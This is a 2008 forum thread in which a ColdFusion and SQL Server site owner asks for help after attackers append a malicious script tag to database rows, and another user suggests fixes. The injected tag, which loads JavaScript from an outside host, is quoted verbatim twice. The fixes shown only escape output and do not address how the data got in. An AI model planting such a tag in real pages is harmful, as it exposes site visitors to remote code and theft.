Please help

Posts: 68 · Posted: Fri Aug 15, 2008 9:25 pm

I have MS SQL Server 2000, with Colfusion 5. I have converted most of the queries to stored procedure, and our site is getting hacked. They have managed to create a table, and one particular existing table they are appending the following into every row:

Code:

"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--

. I m not an expert at securing application and any help is greatly needed and appreciated. Please help.

Posts: 340 · Posted: Sat Aug 16, 2008 1:14 pm

Fidel,
what the hackers are attempting to do is quite serious. Basically they are trying to steal your user's cookies, as well as information about their browsers. They are trying to get access to any account that is authenticated over a web form on your site.

As for what they have appended, did they do it to every existing row only, or every existing row, and every new row? If the latter, you have to think about how everything is being appended. It could be at the CF level, or it could be at the MSSQL level. Try creating a row manually, and see if its appended. If so, it goes farther than the CF level. Also, take a look at all your stored procedures, and see if there is anything suspicious in there. Personally, I would not keep a website running that was outputting stuff like that, but taking the site down might not be an option. This will be tedious, but you can use a replace function with all cfoutput tags to replace that bit with nothing:

Code:

<cfoutput>#Replace(ORIGINALOUTPUT,
'"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--', '')#</cfoutput>

Posts: 68 · Posted: Tue Aug 19, 2008 4:10 pm

Hello Comprug,

Thank you for your help. I ended up surrounding the variable with the HTMLCodeFormat tag, and ever since I added that code I have not seen anything yet. I also did ran the SQL Profiler and didi find some of his query and was running under the Application Name MS SQLEM not sure what that is. I am still running the SQL Profiler just to see if he is trying to get in through some where else.

Posts: 340 · Posted: Wed Aug 20, 2008 1:28 pm

Fidel,
it sounds like you found a good solution; HTMLCodeFormat is better than just replacing the code because it will prevent all attacks of this type. Please post again if the problem continues.

Posts: 68 · Posted: Wed Aug 20, 2008 10:01 pm

Hello Comprug,

Thanks for your help, ever since I added the HTMLCodeFormat I have not seen anything so hopefully it will stay that way.

But yes I will post again if this issue comes up again, hopefully not.

Thanks.